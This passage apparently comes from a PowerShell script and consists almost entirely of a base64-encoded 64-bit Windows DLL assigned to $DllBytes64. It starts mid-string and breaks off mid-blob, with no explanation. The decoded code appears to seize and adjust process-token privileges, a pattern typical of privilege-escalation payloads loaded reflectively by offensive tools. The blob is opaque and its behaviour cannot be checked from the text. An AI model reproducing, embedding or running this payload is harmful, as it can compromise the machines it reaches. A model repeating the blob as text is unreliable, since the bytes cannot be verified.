AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB08UddMJApDjCQKQ4wkCkOKw2CDimQKQ4rDYMODpApDisNtw45kCkOOei6DjeQKQ4wkCgOeZApDisNhg4zkCkOKw20DjGQKQ5SaWNoMJApDgAAAAAAAAAAUEUAAGSGBgA9AEJWAAAAAAAAAADwACIgCwIKAABYAAAAUgAAAAAAAMgTAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAEAEAAAQAACUfAQACAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAADJ0AAFAAAAAA8AAAtAEAAADgAADcBQAAAAAAAAAAAAAAAAEANAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAYAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA6VgAAABAAAABYAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAQDQAAABwAAAANgAAAFwAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAEAiAAAAsAAAABAAAACSAAAAAAAAAAAAAAAAAABAAADALnBkYXRhAADcBQAAAOAAAAAGAAAAogAAAAAAAAAAAAAAAAAAQAAAQC5yc3JjAAAAtAEAAADwAAAAAgAAAKgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAK4DAAAAAAEAAAQAAACqAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7GhIiwX1nwAASDPESIlEJFC5+gAAAP8VCmAAAP8VDGAAAEyNRCQwSIvIuv8BDwD/FdlfAACFwA+EnAAAAEyNRCQ4SI0V5YQAADPJ/xW1XwAAhcAPhIAAAABIi0QkOEiLTCQwSINkJCgASINkJCAATI1EJEBBuRAAAAAz0kiJRCREx0QkQAEAAADHRCRMAgAAAP8VZ18AAIXAdD5Ii0wkMP8VeF8AAINkJCgASINkJCAATI0NloQAAEyNBeeEAABIjRX8hAAAM8n/FThhAAC56AMAAP8VTV8AADPASItMJFBIM8zoRgAAAEiDxGjDzEBTSIPsILkEAQAAi9roTgAAAP/LdQXo9f7//7gBAAAASIPEIFvDzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIOw3JngAAdRFIwcEQZvfB//91AvPDSMHJEOm5AgAAzOlvBAAAzMzMTIlEJBhTSIPsIEmL2IP6AXV96J0YAACFwHUHM8DpKgEAAOj1CQAAhcB1B+jcGAAA6+noDRgAAP8Vs14AAEiJBZzAAADoBxcAAEiJBaCtAADouw8AAIXAeQfowgYAAOvL6PMVAACFwHgf6OoSAACFwHgWM8noEw0AAIXAdQv/BWWtAADpvwAAAOhXEgAA68qF0nVNiwVPrQAAhcAPjnr/////yIkFP60AADkVNbMAAHUF6CIPAABIhdt1EOgkEgAA6FsGAADoQhgAAJBIhdt1d4M9LZ4AAP90buhCBgAA62eD+gJ1VugyBgAAusgCAAC5AQAAAOhnCgAASIvYSIXAD4QW////SIvQiw32nQAA/xXUXQAASIvLhcB0FjPS6CYGAAD/FbhdAACJA0iDSwj/6xboagkAAOng/v//g/oDdQczyeiVCAAAuAEAAABIg8QgW8PMzEiJXCQISIl0JBBIiXwkGEFUSIPsMEmL8IvaTIvhuAEAAACF0nUPORVorAAAdQczwOnQAAAAg/oBdAWD+gJ1M0yLDX5fAABNhcl0B0H/0YlEJCCFwHQVTIvGi9NJi8zoSf7//4lEJCCFwHUHM8DpkwAAAEyLxovTSYvM6MX9//+L+IlEJCCD+wF1NYXAdTFMi8Yz0kmLzOip/f//TIvGM9JJi8zoBP7//0yLHRVfAABNhdt0C0yLxjPSSYvMQf/Thdt0BYP7A3U3TIvGi9NJi8zo1/3///fYG8kjz4v5iUwkIHQcSIsF2l4AAEiFwHQQTIvGi9NJi8z/0Iv4iUQkIIvH6wIzwEiLXCRASIt0JEhIi3wkUEiDxDBBXMPMSIlcJAhIiXQkEFdIg+wgSYv4i9pIi/GD+gF1Beh/GAAATIvHi9NIi85Ii1wkMEiLdCQ4SIPEIF/pp/7//8zMzEiJTCQISIHsiAAAAEiNDeWrAAD/FV9cAABIiwXQrAAASIlEJFhFM8BIjVQkYEiLTCRY6F1QAABIiUQkUEiDfCRQAHRBSMdEJDgAAAAASI1EJEhIiUQkMEiNRCRASIlEJChIjQWQqwAASIlEJCBMi0wkUEyLRCRYSItUJGAzyegLUAAA6yJIi4QkiAAAAEiJBVysAABIjYQkiAAAAEiDwAhIiQXpqwAASIsFQqwAAEiJBbOqAABIi4QkkAAAAEiJBbSrAADHBYqqAAAJBADAxwWEqgAAAQAAAEiLBRmbAABIiUQkaEiLBRWbAABIiUQkcP8ValsAAIkF9KoAALkBAAAA6A4YAAAzyf8VSlsAAEiNDVtdAAD/FTVbAACDPc6qAAAAdQq5AQAAAOjmFwAA/xX0WgAAugkEAMBIi8j/FQZbAABIgcSIAAAAw8zMSI0FNV0AAEiJAem5GAAAzEiJXCQIV0iD7CBIjQUbXQAAi9pIi/lIiQHomhgAAPbDAXQISIvP6EEZAABIi8dIi1wkMEiDxCBfw8zMzEBTSIPsIEiL2ei6GAAATI0d21wAAEyJG0iLw0iDxCBbw8zMzEBTSIPsQEiL2esPSIvL6CkbAACFwHQTSIvL6F0aAABIhcB050iDxEBbw4sF9K4AAEG4AQAAAEiNHY9cAABBhMB1OUELwEiNVCRYSI0Nu64AAIkFza4AAEiNBX5cAABIiUQkWOj4FgAASI0N7U8AAEiJHZauAADo6RkAAEiNFYquAABIjUwkIOgYGAAASI0VMYYAAEiNTCQgSIlcJCDozhoAAMzMTIvcSYlbCEmJaxhJiXMgSYlTEFdBVEFVQVZBV0iD7EBNi3kITYsxi0EESYt5OE0r902L4UyL6kiL6ahmD4XtAAAASWNxSEmJS8hNiUPQSIvGOzcPg4EBAABIA8BIjVzHDItD+Ew78A+CqAAAAItD/Ew78A+DnAAAAIN7BAAPhJIAAACDOwF0GYsDSI1MJDBJi9VJA8f/0IXAD4iJAAAAfnSBfQBjc23gdShIgz0WuwAAAHQeSI0NDbsAAOioGwAAhcB0DroBAAAASIvN/xX2ugAAi0sEQbgBAAAASYvVSQPP6MIaAABJi0QkQItTBExjTQBIiUQkKEmLRCQoSQPXTIvFSYvNSIlEJCD/FRBZAADowxoAAP/GSIPDEDs3D4O3AAAA6Tn///8zwOmwAAAATYtBIDPtRTPtTSvHqCB0OzPSORd2NUiNTwiLQfxMO8ByB4sBTDvAdgz/wkiDwRA7F3MY6+WLwkgDwItMxxCFyXUGi2zHDOsDRIvpSWNxSEiL3js3c1VI/8NIweMESAPfi0P0TDvwcjmLQ/hMO/BzMUWF7XQFRDsrdDGF7XQFO2v8dCiDOwB1GUiLVCR4jUYBsQFBiUQkSESLQ/xNA8dB/9D/xkiDwxA7N3K1uAEAAABMjVwkQEmLWzBJi2tASYtzSEmL40FfQV5BXUFcX8PMzMwzyUj/JR9YAADMzMwzwMPMSIPsKIsN2pcAAIP5/3QN/xUTWAAAgw3IlwAA/0iDxCjp+xoAAMzMzEiJXCQIV0iD7CBIi/pIi9lIjQUpWgAASImBoAAAAINhEADHQRwBAAAAx4HIAAAAAQAAAMaBdAEAAEPGgfcBAABDSI0FeJ4AAEiJgbgAAAC5DQAAAOgnHAAAkEiLg7gAAADw/wC5DQAAAOgSGwAAuQwAAADoCBwAAJBIibvAAAAASIX/dQ5IiwUkngAASImDwAAAAEiLi8AAAADoJRwAAJC5DAAAAOjWGgAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wg/xVIVwAAiw3ulgAAi/j/FSJXAABIi9hIhcB1SI1IAbrIAgAA6C0DAABIi9hIhcB0M4sNw5YAAEiL0P8VnlYAAEiLy4XAdBYz0ujw/v///xWCVgAASINLCP+JA+sH6DQCAAAz24vP/xXaVgAASIvDSItcJDBIg8QgX8NAU0iD7CDocf///0iL2EiFwHUIjUgQ6EkHAABIi8NIg8QgW8NIhckPhCkBAABIiVwkEFdIg+wgSIvZSItJOEiFyXQF6NQBAABIi0tISIXJdAXoxgEAAEiLS1hIhcl0Bei4AQAASItLaEiFyXQF6KoBAABIi0twSIXJdAXonAEAAEiLS3hIhcl0BeiOAQAASIuLgAAAAEiFyXQF6H0BAABIi4ugAAAASI0FV1gAAEg7yHQF6GUBAAC/DQAAAIvP6IEaAACQSIuLuAAAAEiJTCQwSIXJdBzw/wl1F0iNBaOcAABIi0wkMEg7yHQG6CwBAACQi8/oTBkAALkMAAAA6EIaAACQSIu7wAAAAEiF/3QrSIvP6P0aAABIOz1WnAAAdBpIjQXtmgAASDv4dA6DPwB1CUiLz+h/GwAAkLkMAAAA6AAZAABIi8vo0AAAAEiLXCQ4SIPEIF/DzEBTSIPsIEiL2YsNGZUAAIP5/3QkSIXbdQ//FUVVAACLDQOVAABIi9gz0v8V3FQAAEiLy+iU/v//SIPEIFvDzMxAU0iD7CDosQIAAOiQFwAAhcB0YEiNDXH+////FSNVAACJBcGUAACD+P90SLrIAgAAuQEAAADoCQEAAEiL2EiFwHQxiw2flAAASIvQ/xV6VAAAhcB0HjPSSIvL6Mz8////FV5UAABIg0sI/4kDuAEAAADrB+iL/P//M8BIg8QgW8PMzMxIhcl0N1NIg+wgTIvBSIsNTKoAADPS/xWsVAAAhcB1F+j3JQAASIvY/xWKVAAAi8jonyUAAIkDSIPEIFvDzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFUSIPsIIs9lagAADPtSIvxQYPM/0iLzujYEwAASIvYSIXAdSiF/3Qki83/FaxTAACLPWqoAABEjZ3oAwAARDvfQYvrQQ9H7EE77HXISItsJDhIi3QkQEiLfCRISIvDSItcJDBIg8QgQVzDzMxIi8RIiVgISIloEEiJcBhIiXggQVRIg+wgM/9Ii/JIi+lBg8z/RTPASIvWSIvN6EklAABIi9hIhcB1KjkF86cAAHYii8//FSVTAABEjZ/oAwAARDsd26cAAEGL+0EPR/xBO/x1wEiLbCQ4SIt0JEBIi3wkSEiLw0iLXCQwSIPEIEFcw8xIi8RIiVgISIloEEiJcBhIiXggQVRIg+wgM/ZIi/pIi+lBg8z/SIvXSIvN6GQlAABIi9hIhcB1L0iF/3QqOQVtpwAAdiKLzv8Vn1IAAESNnugDAABEOx1VpwAAQYvzQQ9H9EE79HW+SItsJDhIi3QkQEiLfCRISIvDSItcJDBIg8QgQVzDzMzMQFNIg+wgi9lIjQ3tVAAA/xX3UgAASIXAdBlIjRXLVAAASIvI/xXaUgAASIXAdASLy//QSIPEIFvDzMzMQFNIg+wgi9not////4vL/xXDUgAAzMzMuQgAAADp/hYAAMzMuQgAAADp8hUAAMzMQFNIg+wg6C36//9Ii8hIi9joshIAAEiLy+gOKAAASIvL6P4nAABIi8vo7icAAEiLy+iCJQAASIvLSIPEIFvpVSUAAMxIO8pzLUiJXCQIV0iD7CBIi/pIi9lIiwNIhcB0Av/QSIPDCEg733LtSItcJDBIg8QgX8PMSIlcJAhXSIPsIDPASIv6SIvZSDvKcxeFwHUTSIsLSIXJdAL/0UiDwwhIO99y6UiLXCQwSIPEIF/DzMzMSIlcJAhXSIPsIEiDPSqzAAAAi9l0GEiNDR+zAADoyhMAAIXAdAiLy/8VDrMAAOhdKQAASI0VIlMAAEiNDQNTAADofv///4XAdVpIjQ2fCgAA6O4QAABIjR3XUgAASI092FIAAOsOSIsDSIXAdAL/0EiDwwhIO99y7UiDPcOyAAAAdB9IjQ26sgAA6F0TAACFwHQPRTPAM8lBjVAC/xWisgAAM8BIi1wkMEiDxCBfw8xIiVwkCEiJdCQQRIlEJBhXQVRBVUFWQVdIg+xARYvgi9pEi/m5CAAAAOheFQAAkIM9dqUAAAEPhAEBAADHBWKlAAABAAAARIglV6UAAIXbD4XUAAAASIsNILIAAP8V6lAAAEiL8EiJRCQwSIXAD4SjAAAASIsN+rEAAP8VzFAAAEiL+EiJRCQgTIv2SIl0JChMi+hIiUQkOEiD7whIiXwkIEg7/nJw6Cn4//9IOQd1AuvmSDv+cl9Iiw//FYxQAABIi9joDPj//0iJB//TSIsNqLEAAP8VclAAAEiL2EiLDZCxAAD/FWJQAABMO/N1BUw76HS8TIvzSIlcJChIi/NIiVwkMEyL6EiJRCQ4SIv4SIlEJCDrmkiNFZ9RAABIjQ2QUQAA6Lf9//9IjRWcUQAASI0NjVEAAOik/f//kEWF5HQPuQgAAADoQBMAAEWF5HUmxwVRpAAAAQAAALkIAAAA6CcTAABBi8/ow/z//0GLz/8Vzk8AAMxIi1wkcEiLdCR4SIPEQEFfQV5BXUFcX8PMRTPAQY1QAelk/v//M9IzyUSNQgHpV/7//8zMzEBTSIPsIIvZ6OspAACLy+iEJwAARTPAuf8AAABBjVAB6C/+///MzMxIiVwkCEiJbCQQSIl8JBhBVEFVQVZIgeyQAAAASI1MJCD/FXlPAAC6WAAAAI1qyIvN6Br7//9FM/ZIi9BIhcB1CIPI/+lrAgAASIkFSK4AAEgFAAsAAIvNiQ0yrgAASDvQc0VIg8IJSINK9/9mx0L/AApEiXIDZsdCLwAKxkIxCkSJckdEiHJDSIsFCa4AAEiDwlhIjUr3SAUACwAASDvIcsWLDeitAABmRDl0JGIPhDQBAABIi0QkaEiFwA+EJgEAAExjILsACAAATI1oBE0D5TkYD0wYO8sPjYcAAABIjT27rQAAulgAAABIi83oXvr//0iFwHRoixWTrQAASI2IAAsAAEiJBwPViRWBrQAASDvBc0FIjVAJSINK9/+AYi+AZsdC/wAKRIlyA2bHQjAKCkSJckdEiHJDSIsHSIPCWEiNSvdIBQALAABIO8hyyYsVO60AAEiDxwg703yI6waLHSutAABBi/6F2358SYM8JP90aEmDPCT+dGFB9kUAAXRaQfZFAAh1DkmLDCT/FQZOAACFwHRFSGPvSI0N+KwAALqgDwAASIvFg+UfSMH4BUhr7VhIAyzBSYsEJEiJRQBBikUASI1NEIhFCP8VwE0AAIXAD4Rp/v///0UM/8dJ/8VJg8QIO/t8hEWL5kmL3kiLPaOsAABIgzw7/3QRSIM8O/50CoBMOwiA6YUAAABBjUQk/8ZEOwiB99i49v///xvJg8H1RYXkD0TI/xVZTQAASIvoSIP4/3RNSIXAdEhIi8j/FVJNAACFwHQ7D7bASIksO4P4AnUHgEw7CEDrCoP4A3UFgEw7CAhIjUw7ELqgDwAA/xUZTQAAhcAPhML9////RDsM6w2ATDsIQEjHBDv+////SIPDWEH/xEiB+wgBAAAPjEj///+LDeSrAAD/Fc5MAAAzwEyNnCSQAAAASYtbIEmLayhJi3swSYvjQV5BXUFcw8zMSIlcJAhIiXQkEFdIg+wgSI0drqsAAL5AAAAASIs7SIX/dDdIjYcACwAA6x2DfwwAdApIjU8Q/xWYTAAASIsDSIPHWEgFAAsAAEg7+HLeSIsL6Gb3//9IgyMASIPDCEj/znW4SItcJDBIi3QkOEiDxCBfw8xIiVwkCEiJbCQQSIl0JBhXSIPsMIM9Ta0AAAB1BejSHAAASIsdb5oAADP/SIXbdRuDyP/ptAAAADw9dAL/x0iLy+j6JgAASI1cAwGKA4TAdeeNRwG6CAAAAEhjyOin9///SIv4SIkF7Z8AAEiFwHTASIsdIZoAAIA7AHRQSIvL6LwmAACAOz2NcAF0Lkhj7roBAAAASIvN6Gz3//9IiQdIhcB0c0yLw0iL1UiLyOgaJgAAhcB1S0iDxwhIY8ZIA9iAOwB1t0iLHcyZAABIi8vodPb//0iDJbyZAAAASIMnAMcFZqwAAAEAAAAzwEiLXCRASItsJEhIi3QkUEiDxDBfw0iDZCQgAEUzyUUzwDPSM8no6iEAAMxIiw06nwAA6CX2//9IgyUtnwAAAOkA////SIvESIlYCEiJaBBIiXAYSIl4IEFUQVVBVkiD7CBMi2wkYE2L8UmL+EGDZQAATIviSIvZQccBAQAAAEiF0nQHTIkCSYPECDPtgDsidREzwIXtQLYiD5TASP/Di+jrOUH/RQBIhf90B4oDiAdI/8cPtjNI/8OLzui5JgAAhcB0E0H/RQBIhf90B4oDiAdI/8dI/8NAhPZ0G4Xtda1AgP4gdAZAgP4JdaFIhf90CcZH/wDrA0j/yzP2gDsAD4TjAAAAgDsgdAWAOwl1BUj/w+vxgDsAD4TLAAAATYXkdAhJiTwkSYPECEH/BroBAAAAM8nrBUj/w//BgDtcdPaAOyJ1NoTKdR2F9nQOSI1DAYA4InUFSIvY6wszwDPShfYPlMCL8NHp6xH/yUiF/3QGxgdcSP/HQf9FAIXJdeuKA4TAdE+F9nUIPCB0RzwJdEOF0nQ3D77I6NwlAABIhf90G4XAdA6KA0j/w4gHSP/HQf9FAIoDiAdI/8frC4XAdAdI/8NB/0UAQf9FAEj/w+lZ////SIX/dAbGBwBI/8dB/0UA6RT///9NheR0BUmDJCQAQf8GSItcJEBIi2wkSEiLdCRQSIt8JFhIg8QgQV5BXUFcw8xIiVwkGEiJdCQgV0iD7DCDPVKqAAAAdQXo1xkAAEiNPXydAABBuAQBAAAzyUiL18YFbp4AAAD/FSxJAABIix1FqgAASIk9Lp0AAEiF23QFgDsAdQNIi99IjUQkSEyNTCRARTPAM9JIi8tIiUQkIOi9/f//SGN0JEBIuf////////8fSDvxc1xIY0wkSEiD+f9zUUiNFPFIO9FySEiLyujl8///SIv4SIXAdDhMjQTwSI1EJEhMjUwkQEiL10iLy0iJRCQg6Gf9//9Ei1wkQEiJPXOcAABB/8szwESJHWOcAADrA4PI/0iLXCRQSIt0JFhIg8QwX8PMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7ED/FWlIAABFM+RIi/hIhcAPhKkAAABIi9hmRDkgdBRIg8MCZkQ5I3X2SIPDAmZEOSN17EyJZCQ4SCvYTIlkJDBI0ftMi8Az0kSNSwEzyUSJZCQoTIlkJCD/FQpIAABIY+iFwHRRSIvN6Avz//9Ii/BIhcB0QUyJZCQ4TIlkJDBEjUsBTIvHM9IzyYlsJChIiUQkIP8Vz0cAAIXAdQtIi87ok/L//0mL9EiLz/8Vr0cAAEiLxusLSIvP/xWhRwAAM8BIi1wkUEiLbCRYSIt0JGBIi3wkaEiDxEBBXMNIiVwkCFdIg+wgSI0dm20AAEiNPZRtAADrDkiLA0iFwHQC/9BIg8MISDvfcu1Ii1wkMEiDxCBfw0iJXCQIV0iD7CBIjR1zbQAASI09bG0AAOsOSIsDSIXAdAL/0EiDwwhIO99y7UiLXCQwSIPEIF/DSIPsKEUzwLoAEAAAM8nHRCQwAgAAAP8VIEcAAEiJBSmcAABIhcB0Kf8VBkcAADwGcxpIiw0TnAAATI1EJDBBuQQAAAAz0v8V4EYAALgBAAAASIPEKMPMzEiD7ChIiw3pmwAA/xXbRgAASIMl25sAAABIg8Qow8zMSIlcJAhIiWwkEEiJdCQYV0iD7CBIi/KL+ei27v//RTPJSIvYSIXAD4SMAQAASIuQoAAAAEiLyjk5dBBIjYLAAAAASIPBEEg7yHLsSI2CwAAAAEg7yHMEOTl0A0mLyUiFyQ+EUgEAAEyLQQhNhcAPhEUBAABJg/gFdQ1MiUkIQY1A/Ok0AQAASYP4AXUIg8j/6SYBAABIi6uoAAAASImzqAAAAIN5BAgPhfYAAAC6MAAAAEiLg6AAAABIg8IQTIlMAvhIgfrAAAAAfOeBOY4AAMCLu7AAAAB1D8eDsAAAAIMAAADppQAAAIE5kAAAwHUPx4OwAAAAgQAAAOmOAAAAgTmRAADAdQzHg7AAAACEAAAA63qBOZMAAMB1DMeDsAAAAIUAAADrZoE5jQAAwHUMx4OwAAAAggAAAOtSgTmPAADAdQzHg7AAAACGAAAA6z6BOZIAAMB1DMeDsAAAAIoAAADrKoE5tQIAwHUMx4OwAAAAjQAAAOsWgTm0AgDAi8e6jgAAAA9EwomDsAAAAIuTsAAAALkIAAAAQf/QibuwAAAA6wpMiUkIi0kEQf/QSImrqAAAAOnU/v//M8BIi1wkMEiLbCQ4SIt0JEBIg8QgX8O4Y3Nt4DvIdQeLyOkg/v//M8DDzEiJXCQYV0iD7CBIiwWHgwAASINkJDAASL8yot8tmSsAAEg7x3QMSPfQSIkFcIMAAOt2SI1MJDD/FctEAABIi1wkMP8VuEQAAESL2Ekz2/8VfEMAAESL2Ekz2/8VmEQAAEiNTCQ4RIvYSTPb/xV/RAAATItcJDhMM9tIuP///////wAATCPYSLgzot8tmSsAAEw730wPRNhMiR36ggAASffTTIkd+IIAAEiLXCRASIPEIF/DzIMl0aIAAADDSI0FjUYAAEiJAUiLAsZBEABIiUEISIvBw8zMzEiDeQgASI0FfEYAAEgPRUEIw8zMSIXSdFRIiVwkCEiJdCQQV0iD7CBIi/lIi8pIi9roeh4AAEiL8EiNSAHovgIAAEiJRwhIhcB0E0iNVgFMi8NIi8jo4h0AAMZHEAFIi1wkMEiLdCQ4SIPEIF/DzMxAU0iD7CCAeRAASIvZdAlIi0kI6DDu//9Ig2MIAMZDEABIg8QgW8PMSIlcJAhXSIPsIEiL+kiL2Ug7ynQh6L7///+AfxAAdA5Ii1cISIvL6FD////rCEiLRwhIiUMISIvDSItcJDBIg8QgX8NIjQWVRQAASIkB6YX////MSIlcJAhXSIPsIEiNBXtFAACL2kiL+UiJAehm////9sMBdAhIi8/oeQAAAEiLx0iLXCQwSIPEIF/DzMzMQFNIg+wgSINhCABIjQU+RQAASIvZSIkBxkEQAOhP////SIvDSIPEIFvDzMxIiVwkCFdIg+wgSI0FQ0UAAIvaSIv5SIkB6HYeAAD2wwF0CEiLz+gRAAAASIvHSItcJDBIg8QgX8PMzMzpI+3//8zMzEBTSIPsILoIAAAAjUoY6M3t//9Ii8hIi9j/FZlBAABIiQUSowAASIkFA6MAAEiF23UFjUMY6wZIgyMAM8BIg8QgW8PMSIlcJAhIiXQkEEiJfCQYQVRBVUFWSIPsIEyL8ejb7v//kEiLDcuiAAD/FZVBAABMi+BIiw2zogAA/xWFQQAASIvYSTvED4KbAAAASIv4SSv8TI1vCEmD/QgPgocAAABJi8zo3R4AAEiL8Ek7xXNVugAQAABIO8JID0LQSAPQSDvQchFJi8zole3//zPbSIXAdRrrAjPbSI1WIEg71nJJSYvM6Hnt//9IhcB0PEjB/wNIjRz4SIvI/xW3QAAASIkFMKIAAEmLzv8Vp0AAAEiJA0iNSwj/FZpAAABIiQULogAASYve6wIz2+gb7v//SIvDSItcJEBIi3QkSEiLfCRQSIPEIEFeQV1BXMPMzEiD7Cjo6/7//0j32BvA99j/yEiDxCjDzEiJXCQISIl0JBBXSIPsIEiL2UiD+eB3fL8BAAAASIXJSA9F+UiLDe2VAABIhcl1IOjDGgAAuR4AAADoWRgAALn/AAAA6Hft//9Iiw3IlQAATIvHM9L/Fd1AAABIi/BIhcB1LDkFn54AAHQOSIvL6E0AAACFwHQN66voVhEAAMcADAAAAOhLEQAAxwAMAAAASIvG6xLoJwAAAOg2EQAAxwAMAAAAM8BIi1wkMEiLdCQ4SIPEIF/DzMxIiQ1hlQAAw0BTSIPsIEiL2UiLDVCVAAD/Fco/AABIhcB0EEiLy//QhcB0B7gBAAAA6wIzwEiDxCBbw8xIiVwkEEiJfCQYVUiL7EiD7GBIi/pIi9lIjU3ASI0VmUIAAEG4QAAAAOhOHQAASI1VEEiLz0iJXehIiX3w6DIzAABMi9hIiUUQSIlF+EiF/3Qb9gcIuQBAmQF0BYlN4OsMi0XgTYXbD0TBiUXgRItF2ItVxItNwEyNTeD/Fcs/AABMjVwkYEmLWxhJi3sgSYvjXcPMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAASIHs2AQAAE0zwE0zyUiJZCQgTIlEJCjopjIAAEiBxNgEAADDzMzMzMzMZg8fRAAASIlMJAhIiVQkGESJRCQQScfBIAWTGesIzMzMzMzMZpDDzMzMzMzMZg8fhAAAAAAAw8zMzMzMzMzMzMzMzMzMzEiLwblNWgAAZjkIdAMzwMNIY0g8SAPIM8CBOVBFAAB1DLoLAgAAZjlRGA+UwPPDzExjQTxFM8lMi9JMA8FBD7dAFEUPt1gGSo1MABhFhdt0HotRDEw70nIKi0EIA8JMO9ByD0H/wUiDwShFO8ty4jPAw0iLwcPMzMzMzMzMzMzMSIPsKEyLwUyNDSLN//9Ji8noav///4XAdCJNK8FJi9BJi8noiP///0iFwHQPi0Akwegf99CD4AHrAjPASIPEKMPMzMxIiVwkCEiJdCQQSIl8JBhBVEiD7CBMjSWwfQAAM/Yz20mL/IN/CAF1JkhjxrqgDwAA/8ZIjQyASI0FHpMAAEiNDMhIiQ//FZk9AACFwHQm/8NIg8cQg/skfMm4AQAAAEiLXCQwSIt0JDhIi3wkQEiDxCBBXMNIY8NIA8BJgyTEADPA69tIiVwkCEiJbCQQSIl0JBhXSIPsIL8kAAAASI0dKH0AAIv3SIsrSIXtdBuDewgBdBVIi83/FT89AABIi83oH+j//0iDIwBIg8MQSP/OddRIjR37fAAASItL+EiFyXQLgzsBdQb/FQ89AABIg8MQSP/PdeNIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMSGPJSI0FtnwAAEgDyUiLDMhI/yVYPQAASIlcJAhIiXQkEEiJfCQYQVVIg+wgSGPZvgEAAABIgz37kQAAAHUX6NQWAACNTh3obBQAALn/AAAA6Irp//9Ii/tIA/9MjS1dfAAASYN8/QAAdASLxut5uSgAAADon+f//0iL2EiFwHUP6G4NAADHAAwAAAAzwOtYuQoAAADoZgAAAJBIi8tJg3z9AAB1LbqgDwAA/xUnPAAAhcB1F0iLy+gb5///6DINAADHAAwAAAAz9usNSYlc/QDrBugA5///kEiLDYB8AAD/FYo8AADrg0iLXCQwSIt0JDhIi3wkQEiDxCBBXcPMzEiJXCQIV0iD7CBIY9lIjT2sewAASAPbSIM83wB1Eej1/v//hcB1CI1IEejx6///SIsM30iLXCQwSIPEIF9I/yU0PAAA8P8BSIuBEAEAAEiFwHQD8P8ASIuBIAEAAEiFwHQD8P8ASIuBGAEAAEiFwHQD8P8ASIuBMAEAAEiFwHQD8P8ASI1BWEG4BgAAAEiNFWx9AABIOVDwdAtIixBIhdJ0A/D/AkiDePgAdAxIi1AISIXSdAPw/wJIg8AgSf/IdcxIi4FYAQAA8P+AYAEAAMNIhckPhJcAAABBg8n/8EQBCUiLgRABAABIhcB0BPBEAQhIi4EgAQAASIXAdATwRAEISIuBGAEAAEiFwHQE8EQBCEiLgTABAABIhcB0BPBEAQhIjUFYQbgGAAAASI0VznwAAEg5UPB0DEiLEEiF0nQE8EQBCkiDePgAdA1Ii1AISIXSdATwRAEKSIPAIEn/yHXKSIuBWAEAAPBEAYhgAQAASIvBw0iJXCQISIl0JBBXSIPsIEiLgSgBAABIi9lIhcB0eUiNDaeHAABIO8F0bUiLgxABAABIhcB0YYM4AHVcSIuLIAEAAEiFyXQWgzkAdRHoE+X//0iLiygBAADoTx8AAEiLixgBAABIhcl0FoM5AHUR6PHk//9Ii4soAQAA6MEeAABIi4sQAQAA6Nnk//9Ii4soAQAA6M3k//9Ii4MwAQAASIXAdEeDOAB1QkiLizgBAABIgen+AAAA6Knk//9Ii4tIAQAAv4AAAABIK8/oleT//0iLi1ABAABIK8/ohuT//0iLizABAADoeuT//0iLi1gBAABIjQWkewAASDvIdBqDuWABAAAAdRHoRRoAAEiLi1gBAADoTeT//0iNe1i+BgAAAEiNBWV7AABIOUfwdBJIiw9Ihcl0CoM5AHUF6CXk//9Ig3/4AHQTSItPCEiFyXQKgzkAdQXoC+T//0iDxyBI/851vkiLy0iLXCQwSIt0JDhIg8QgX+nr4///zMzMQFNIg+wgSIvaSIXSdEFIhcl0PEyLEUw70nQvSIkRSIvK6C79//9NhdJ0H0mLyuit/f//QYM6AHURSI0F